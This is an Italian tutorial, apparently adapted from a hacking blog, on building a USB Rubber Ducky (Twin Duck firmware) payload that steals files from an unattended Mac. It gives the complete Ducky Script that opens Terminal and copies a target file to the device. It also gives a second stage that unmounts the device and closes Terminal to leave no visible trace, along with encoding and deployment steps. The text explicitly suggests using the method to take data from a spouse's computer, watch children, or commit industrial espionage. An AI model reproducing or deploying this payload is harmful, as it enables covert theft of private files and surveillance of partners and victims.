Se avete bisogno di una piattaforma di attacco piccola, flessibile e avete accesso fisico su computer non presidiati, l’USB Rubber Ducky è lo strumento più popolare per questo lavoro. Caricando il Ducky con un firmware personalizzato è possibile progettare nuovi attacchi per essere efficaci anche contro computer senza accesso ad internet. Oggi imparerete a scrivere un payload per fare “backup involontari” attraverso la copia di una cartella dall’Hard Disk all’USB dove gira il software della Rubber Ducky.

La release del firmware di Twin Duck, sviluppata dalla comunità Hak5, consente di copiare letteralmente i file che vogliamo direttamente sulla scheda microSD di Duck. Ciò rende semplice rubare determinati file o i file salvati in percorsi standardizzati da un dispositivo in una manciata di secondi. Questo è un metodo abbastanza comune per sottrarre dati dal pc del coniuge, per tenere sotto controllo i nostri figli oppure in scenari di spionaggio industriale!

Scrivere payloads per l’USB Rubber Ducky è facile e oggi ve lo dimostreremo con la scrittura di un payload per macOS (precedentemente chiamato Mac OS X). Questo unirà le competenze raggiunte dal nostro ultimo tutorial sulla scrittura di un payload per l’USB Rubber Ducky e flashare il firmware personalizzato per l’USB Rubber Ducky.

L’usb Rubber Ducky con Twin Duck

Se si vuole cambiare il comportamento della Rubber Ducky è sufficiente caricarci su un nuovo firmware così da permetterci l’uso di tattiche che potrebbero non essere state efficaci prima. Questa capacità consente di avere file sul Ducky (come malware) da distribuire contro il bersaglio oppure per copiare i file dal computer di destinazione per salvarli nel Ducky. Contro un computer senza accesso ad internet, questo è fondamentale per recuperare dati ed evitare di portarsi dietro altre attrezzature più complesse e sofisticate.

Rubber ducky all’azione mentre esegue un payload

La Twin Duck è una delle più popolari varianti disponibili del firmware e una serie di rappresentazioni sul grande schermo di Rubber Ducky stanno effettivamente eseguendo il firmware Twin Duck. In Mr. Robot ad esempio, Angela utilizza un USB Rubber Ducky accoppiato con Mimikatz per rubare le password dalla memoria in Windows, scrivendo i risultati sull’USB di Ducky.

1) Utilizzando cp su macOS

MacOS è particolarmente vulnerabile a questo tipo di attacco poichè i file spesso sono immagazzinati in luoghi prevedibili ed è facile configurare il vostro Rubber Ducky per fare ciò che serve. Spesso la parte più difficile dell’utilizzo di una memoria USB è ricercare quale lettera è stata assegnata al nostro drive, ma MacOs lo rende semplice e bello per noi con la sintassi nel comando cp.
Quando si voglio recuperare i dati, ci sono una serie di strumenti che si possono considerare, ma per questa prova mi sono concentrato sull’utilizzo dell’utility cp.

In questo caso, la sinstassi corretta per rubare un file chiamato secrets.txt da una cartella sul desktop chiamata TARGET per l’USB Rubber Ducky (denominato SAD) sarebbe:

cp -av ~/Desktop/TARGET/secrets.txt /Volumes/SAD/

Questo è il nocciolo del nostro payload. Tutto il resto in questo script sarà necessario per considerare cose come l’accesso a una finestra terminale, il timing dello script per consentire ritardi e l’eliminazione di qualsiasi prova lasciata eseguendo lo script come ad esempio i comandi lasciati nella cronologia terminale o l’apertura delle finestre.

2) Scrivere un Ducky Script Payload

Ducky Script è il linguaggio di scripting della Rubber Ducky e può essere appreso in pochi minuti da qui.

Le parti principali di Ducky Script sono REMs, o osservazioni, che non sono letti dal Ducky e sono solo per i commenti; DELAYs che permettono di programmare delle “attese” nello script; e STRINGs che consentono di digitare direttamente parole, piuttosto che cercare di interpretarle come pressioni dei tasti come Ctrl o invio. Tutto il resto sono solo i tasti che vedete sulla tastiera davanti a voi, ed è possibile anche premerne due contemporaneamente.

Questo script di seguito, per la cattura della password, funziona aprendo la ricerca Spotlight, cercando il terminale e aprendolo, quindi eseguendo il payload cp per copiare una directory nota al nostro USB Rubber Ducky. Il nome del volume dell’ USB Rubber Ducky in questo esempio è SAD, ma è possibile modificarlo se necessario. Potete controllare lo script qui sotto.

REM OSX FILEGRABBER FOR TWIN DUCK
REM STAY SAD - SADMIN FOR NULL BYTE 2017
REM You should replace ~/Desktop/TARGET/secrets.txt with the file path for your target file
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING cp -av ~/Desktop/TARGET/secrets.txt /Volumes/SAD/
DELAY 200
ENTER
DELAY 1000

Il ritardo finale è necessario per far funzionare il processo. Cp è molto veloce, ma per i file più grandi potrebbe essere necessario aumentare il tempo alla fine prima di passare alla seconda parte del payload.

Per far si che questo script funzioni nel vostro scenario, dovete regolare il percorso del file secrets.txt di destinazione con quello del file che si desidera prendere.

3) Nascondere e pulire i vostri processi

In questo caso, senza pulizia, lasciamo aperta una finestra terminale e un popup ci sta dicendo che dobbiamo sempre espellere “SAD” prima di rimuoverlo. Questo è un chiaro segno che qualcuno ha effettuato delle operazioni non proprio legittime..

Per risolvere questo problema, la seconda metà dello script espelle l’archiviazione di massa dell’USB Ducky, esce dalla sessione terminale e la chiude con grazia.

STRING diskutil unmount /Volumes/SAD
DELAY 500
ENTER
DELAY 4000
STRING exit
DELAY 200
ENTER
DELAY 2000
GUI q
ENTER

Il passo successivo nello sviluppo dei futuri payload è nascondere la finestra durante l’esecuzione del processo. Ci sono molti esempi di come farlo in altri esempi DuckyScript.

4) Caricare i vostri payload

Per caricare questo payload, lo andiamo a mettere in un file TXT con l’utility unix, nano. Nel vostro terminale digitate:

nano payload.txt

Questo aprirà un nuovo file di testo e possiamo incollare qui il testo del payload. Premere Ctrl-X e confermare per salvare e sarete pronti a codificarlo in un file BIN da eseguire tramite il Ducky. Se non avete già l’Encoder Duck, potete usare il Python che mi piace molto. Altrimenti, il cd nella cartella in cui è stato scaricato duckencode.jar ed eseguire quanto segue.

java -jar duckencode.jar -i payload.txt -o inject.bin -l (keyboard language code)

inject.bin andrà nella stessa cartella che è pronta per essere trasferita alla USB Rubber Ducky per la distribuzione.

Rimuovere la scheda microSD dall’USB Rubber Ducky, metterla nella vostra scheda microSD-USB o lettore di schede USB, quindi collegarlo al computer. Potete trascinare e rilasciare il file direttamente alla scheda SD o spostarlo con un comando come cp.

5) Distribuzione del vostro payload

Una volta che il payload di inject.bin è sulla USB Rubber Ducky, sarete pronti per partire! Collegatelo ad un computer di prova ed osservate il modo in cui si comporta. La chiave per scrivere script affidabili per la vostra Rubber Ducky sta nel provare metodi differenti per superare eventuali problemi di timing o caricamento.